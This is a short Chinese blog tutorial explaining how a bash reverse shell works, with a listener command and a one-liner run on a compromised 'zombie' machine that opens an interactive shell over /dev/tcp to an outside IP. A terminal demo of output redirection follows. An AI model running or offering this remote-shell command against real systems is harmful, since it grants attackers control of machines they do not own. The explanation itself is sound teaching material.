版权声明:欢迎提问:[email protected] https://blog.csdn.net/include_heqile/article/details/85011135
bash反弹:首先公网主机监听指定端口,然后肉鸡执行bash命令向公网指定端口发送连接请求
公网主机:
nc -lvvp 9090
肉鸡执行:
bash -i &> /dev/tcp/144.34.164.217/9090 0>&1
其中144.34.164.217为自己的公网主机
对命令的解释:
bash -i意为创建一个交互式的bash shell
&>意为将标准输出和标准错误都重定向到我们指定的文件中
实验如下:
x@DESKTOP-GR9LS16:~$ cat 1
cat: 1: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 2
cat: 2: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 > 2
cat: 1: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 &> 2
x@DESKTOP-GR9LS16:~$ cat 2
cat: 1: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1
I get some words here!!
x@DESKTOP-GR9LS16:~$ cat 2
cat: 2: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 &> 2
x@DESKTOP-GR9LS16:~$ cat 2
I get some words here!!
可以看到标准错误和标准输出都被重定向到了文件2
中
至于后面的/dev/tcp/144.34.164.217/9090
,这是一个特殊文件,它会建立一个连接到到144.34.164.217:9090
的socket
最后一个0>&1
,意为将文件描述符0
重定向到文件描述符1
,也就是标准输入被重定向到了标准输出
我们来分析一下,首先&>
使得标准输出重定向到了我们的TCP连接上,然后0>&1
使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互
为加深理解,我们来看一下不加0>&1
的效果:
可以看到,标准输出通过tcp连接到了公网主机上,因为标准输入在肉鸡上,所以命令只能在肉鸡终端上才能执行,当然这样的shell是没有任何意义的